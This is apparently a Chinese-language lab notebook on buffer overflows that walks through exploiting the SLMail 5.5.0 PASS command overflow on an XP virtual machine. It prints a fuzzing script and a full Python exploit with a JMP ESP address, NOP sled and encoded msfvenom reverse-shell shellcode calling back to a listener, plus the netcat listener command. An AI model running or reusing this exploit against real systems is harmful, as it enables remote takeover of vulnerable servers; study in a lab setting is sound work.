缓冲区溢出问题

程序漏洞的根源:变量。

数据和代码边界不清。

缓冲区溢出

当缓冲区边际控制不严时,由于变量传入畸形数据或程序运行错误,导致缓冲区被撑爆,从而覆盖了临近内存区的数据。

成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。


如何发现漏洞

1、源码审计

2、逆向工程

3、模糊测试

(1)向程序堆栈半随机的数据,根据内存变化判断溢出。

(2)数据生成器:生成随机、半随机数据

(3)可识别溢出漏洞的测试工具


Windows缓冲区溢出

FUZZER

Fuzzer是一种通过产生一系列非法的、非预期的或者随机的输入向量给目标程序,从而完成自动化的触发和挖掘目标程序中的安全漏洞的软件测试技术。相比于形式化的软件漏洞测试技术(比如,符号执行技术),Fuzzer往往能够在实际的应用中挖掘更多的漏洞。形式化的漏洞挖掘技术的优势在于其不需要实际执行程序,然而在处理程序底层的某些操作(比如函数的虚指针)时,现有的符号执行技术往往不能做到精准的分析。因此,这两种技术在实际的应用中各有优劣。

一个形象的Fuzzer例子就比如下面让一个猴子去测试应用程序。通过让它胡乱点击电脑的键盘或者移动鼠标,产生不在预期内的输入,从而发现目标程序的bug。(Android应用测试中的Monkey测试也是类似的,它通过胡乱点击Android手机上所有可见的控件,进行压力测试,当Android应用出现闪退或者不能响应的问题时,bug也就发现了)


实例:

Smail 5.5.0 Mail Server缓冲区溢出漏洞

出现在PASS命令

需要XP或WIN7环境,新版windows可加固此漏洞


选择和修改溢出漏洞的EXP

网上公开的exp代码:如exploit-db,securityfocus,searchsploit。

配置环境:

XP系统(linux也可以)

SLMail 5.5.0 Mail Server http://slmail.software.informer.com/5.5/

ImmunityDebugger  https://www.immunityinc.com/products/debugger/

poc脚本

mona.py https://github.com/corelan/mona

实验过程:

1.配置环境,使用XP虚拟机,安装有溢出漏洞的SLMail 5.5.0 Mail Server,ImmunityDebugger用于调试和检测寄存器情况。

确保smil三个服务均启动,且端口通,有回显。


服务正常


端口正常

2.使用第一个验证脚本,获得回显,确认脚本运行正常。


验证脚本主要内容


回显服务信息,回显USER命令


3.尝试溢出无意义字符到寄存器。


初始时状态

脚本内容

#!/usr/bin/python

import time, struct, sys

import socket as so

bufferz = "A" * 2606 + "B" * 4 + "C" * 90

try:

  server = str(sys.argv[1])

  port = int(sys.argv[2])

except IndexError:

  print "[+] Usage example: python %s 192.168.131.131 110" % sys.argv[0]

  sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM)

print "\n[+] Attempting to send buffer overflow to SLmail...."

try:

  s.connect((server,port))

#  s.recv(1024)

  print s.recv(1024)

  s.send('USER jesse' +'\r\n')

  print s.recv(1024)

  s.send('PASS ' + bufferz + '\r\n')

  print "\n[+] Completed."

except:

  print "[+] Unable to connect to SLmail. Check your IP address and port"

  sys.exit()

溢出后状态

EIP出现42424242。为16进制,转换为字符则为BBBB。也就是说,PASS命令在超出2606个字符后,发生溢出到EIP。

各类寄存器介绍,直接复制网贴

EAX 是"累加器"(accumulator), 它是很多加法乘法指令的缺省寄存器。

EBX 是"基地址"(base)寄存器, 在内存寻址时存放基地址。

ECX 是计数器(counter), 是重复(REP)前缀指令和LOOP指令的内定计数器。

EDX 则总是被用来放整数除法产生的余数。

ESI/EDI分别叫做"源/目标索引寄存器"(source/destination index),因为在很多字符串操作指令中, DS:ESI指向源串,而ES:EDI指向目标串.

EBP是"基址指针"(BASE POINTER), 它最经常被用作高级语言函数调用的"框架指针"(frame pointer). 在破解的时候,经常可以看见一个标准的函数起始代码:

push ebp ;保存当前ebp

mov ebp,esp ;EBP设为当前堆栈指针

sub esp, xxx ;预留xxx字节给函数临时变量.

这样一来,EBP 构成了该函数的一个框架, 在EBP上方分别是原来的EBP, 返回地址和参数. EBP下方则是临时变量. 函数返回时作 mov esp,ebp/pop ebp/ret 即可.

ESP 专门用作堆栈指针,被形象地称为栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP也就越来越小。在32位平台上,ESP每次减少4字节。

esp:寄存器存放当前线程的栈顶指针

ebp:寄存器存放当前线程的栈底指针

eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。


------------------------------------

参考资料JMPESP原理

https://blog.csdn.net/xyb_l_code/article/details/81239800

# 重点关注寄存器

# ESP:当ESP中输入数据过多,将会把EIP的内存地址覆盖

# EIP:下一跳指令的内存地址,若下一跳指令被修改,则可执行某一地址空间,运行shellcode

------------------------------------------------

4.注入命令实现命令执行

#!/usr/bin/python

# coding=utf-8

import time, struct, sys

import socket as so

anonymous = (

"\n"

"  █████▓█████▓▓╬╬╬╬╬╬╬╬▓███▓╬╬╬╬╬╬╬▓╬╬▓█\n"

"  ██▓▓▓▓╬╬▓█████╬╬╬╬╬╬███▓╬╬╬╬╬╬╬╬╬╬╬╬╬█\n"

"  █▓▓▓▓╬╬╬╬╬╬▓██╬╬╬╬╬╬▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█\n"

"  ██▓▓▓╬╬╬╬╬╬╬▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█\n"

"  █▓█▓███████▓▓███▓╬╬╬╬╬╬▓███████▓╬╬╬╬▓█\n"

"  ██████████████▓█▓╬╬╬╬╬▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬█\n"

"  █▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█\n"

"  ██▓▓▓▓▓▓▓▓▓▓▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█\n"

"  █▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█\n"

"  ███▓▓▓▓▓▓▓▓█▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█\n"

"  ███▓▓▓▓▓▓▓██▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██\n"

"  ███▓▓▓▓▓████▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██\n"

"  ██▓█▓▓▓▓██▓▓▓▓██╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██\n"

"  ██▓▓███▓▓▓▓▓▓▓██▓╬╬╬╬╬╬╬╬╬╬╬╬█▓╬▓╬╬▓██\n"

"  ███▓███▓▓▓▓▓▓▓▓████▓▓╬╬╬╬╬╬╬█▓╬╬╬╬╬▓██\n"

"  ███▓▓█▓███▓▓▓████╬▓█▓▓╬╬╬▓▓█▓╬╬╬╬╬╬███\n"

"  ████▓██▓███████▓╬╬╬▓▓╬▓▓██▓╬╬╬╬╬╬╬▓███\n"

"  █████▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬████\n"

"  █████▓▓██▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓████\n"

"  ██████▓▓▓█████▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█████\n"

"  ███████▓▓▓█▓▓▓▓▓███▓╬╬╬╬╬╬╬╬╬╬╬▓██████\n"

"  ████████▓▓▓█▓▓▓▓▓██╬╬╬╬╬╬╬╬╬╬╬▓███████\n"

"  █████████▓▓█▓▓▓▓███▓╬╬╬╬╬╬╬╬╬▓████████\n"

"  █████████████▓▓▓███▓▓╬╬╬╬╬╬╬╬█████████\n"

"  █████████████▓▓▓██▓▓╬╬╬╬╬╬▓███████████\n")

hacked = (       

"    | |              | |          | |\n"

"    | |__  __ _  ___| | _____  __| |\n"

"    | '_ \ / _` |/ __| |/ / _ \/ _` |\n"

"    | | | | (_| | (__|  <  __/ (_| |\n"

"    |_| |_|\__,_|\___|_|\_\___|\__,_|\n\n")

achars = 'A'*2606

#JMP ESP address is 5F4A358F

jmpesp = '\x8f\x35\x4a\x5f'

#NOP Sled

nops = '\x90'*16

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.132.7 LPORT=443 -f py -b '\x00\x0a\x0d\' -e x86/shikata_ga_nai - THIS MUST BE REPLACED WITH YOUR MSFVENOM OUTPUT

buf =  b""

buf += b"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"

buf += b"\x76\x0e\xc4\xc7\xbf\x82\x83\xee\xfc\xe2\xf4\x38\x2f"

buf += b"\x3d\x82\xc4\xc7\xdf\x0b\x21\xf6\x7f\xe6\x4f\x97\x8f"

buf += b"\x09\x96\xcb\x34\xd0\xd0\x4c\xcd\xaa\xcb\x70\xf5\xa4"

buf += b"\xf5\x38\x13\xbe\xa5\xbb\xbd\xae\xe4\x06\x70\x8f\xc5"

buf += b"\x00\x5d\x70\x96\x90\x34\xd0\xd4\x4c\xf5\xbe\x4f\x8b"

buf += b"\xae\xfa\x27\x8f\xbe\x53\x95\x4c\xe6\xa2\xc5\x14\x34"

buf += b"\xcb\xdc\x24\x85\xcb\x4f\xf3\x34\x83\x12\xf6\x40\x2e"

buf += b"\x05\x08\xb2\x83\x03\xff\x5f\xf7\x32\xc4\xc2\x7a\xff"

buf += b"\xba\x9b\xf7\x20\x9f\x34\xda\xe0\xc6\x6c\xe4\x4f\xcb"

buf += b"\xf4\x09\x9c\xdb\xbe\x51\x4f\xc3\x34\x83\x14\x4e\xfb"

buf += b"\xa6\xe0\x9c\xe4\xe3\x9d\x9d\xee\x7d\x24\x98\xe0\xd8"

buf += b"\x4f\xd5\x54\x0f\x99\xaf\x8c\xb0\xc4\xc7\xd7\xf5\xb7"

buf += b"\xf5\xe0\xd6\xac\x8b\xc8\xa4\xc3\x38\x6a\x3a\x54\xc6"

buf += b"\xbf\x82\xed\x03\xeb\xd2\xac\xee\x3f\xe9\xc4\x38\x6a"

buf += b"\xd2\x94\x97\xef\xc2\x94\x87\xef\xea\x2e\xc8\x60\x62"

buf += b"\x3b\x12\x28\xe8\xc1\xaf\x7f\x2a\x47\x43\xd7\x80\xc4"

buf += b"\xc7\x8a\x0b\x22\xad\xaf\xd4\x93\xaf\x26\x27\xb0\xa6"

buf += b"\x40\x57\x41\x07\xcb\x8e\x3b\x89\xb7\xf7\x28\xaf\x4f"

buf += b"\x37\x66\x91\x40\x57\xac\xa4\xd2\xe6\xc4\x4e\x5c\xd5"

buf += b"\x93\x90\x8e\x74\xae\xd5\xe6\xd4\x26\x3a\xd9\x45\x80"

buf += b"\xe3\x83\x83\xc5\x4a\xfb\xa6\xd4\x01\xbf\xc6\x90\x97"

buf += b"\xe9\xd4\x92\x81\xe9\xcc\x92\x91\xec\xd4\xac\xbe\x73"

buf += b"\xbd\x42\x38\x6a\x0b\x24\x89\xe9\xc4\x3b\xf7\xd7\x8a"

buf += b"\x43\xda\xdf\x7d\x11\x7c\x4f\x37\x66\x91\xd7\x24\x51"

buf += b"\x7a\x22\x7d\x11\xfb\xb9\xfe\xce\x47\x44\x62\xb1\xc2"

buf += b"\x04\xc5\xd7\xb5\xd0\xe8\xc4\x94\x40\x57"

overflow = achars + jmpesp + nops + buf

try:

  server = str(sys.argv[1])

  port = int(sys.argv[2])

except IndexError:

  print "[+] Usage example: python %s 192.168.131.131 110" % sys.argv[0]

  print "Make sure to use netcat first. Example: nc -nlvp 443"

  sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM)

print "\n[+] Attempting to send buffer overflow to SLmail...."

try:

  s.connect((server,port))

  s.recv(1024)

  s.send('USER jesse' +'\r\n')

  s.recv(1024)

  s.send('PASS ' + overflow + '\r\n')

  print "\n[+] Completed. Check netcat for shell."

  print ("\033[1;32;48m" + anonymous)

  print hacked

except:

  print "[+] Unable to connect to SLmail. Check your IP address and port"

  sys.exit()


最终脚本已生成,但每次执行都会直接导致smile相关服务崩溃,无法达到命令执行阶段。

实验结束。

参考资料

https://cloud.tencent.com/developer/article/1601107

https://www.dazhuanlan.com/2020/05/19/5ec390f91a45d/?__cf_chl_jschl_tk__=b21bd106e38b82e2b625c1dc13c41f2eaa703df5-1599644129-0-AfOJyAuwRxpfRUMAPkchC8bdyx2SocVoi0ZnuvFLW4VYJYCEi6pNxtCfI7hwFdwJiK_8j0t5YdA6cjh1ihqhia5CHQt3AeGYgPCzS1o4JOQhLzFn_U7NR-PyaUmVZ8yWc7L33o8PHnyykMBGZEKZSHrhIzhSDLVRTMT_nCkoFXlgXW3YRE8E6npxhHygq0ToJOPfgV1rFTdQEHJ4-RXib525I7IMys9rBA9Zlae0TfV_78mU6abMzRf52C7OW1G0AYhqC4g9In-jHXjro_-5Sf3EYwS5kCm1vjSOTkjRzijn5EarHClYvsGALIFvrhvj-A

以上两文章步骤内容相同,谈论视角不同。

以后有时间继续最后一步。

你可能感兴趣的:(缓冲区溢出问题)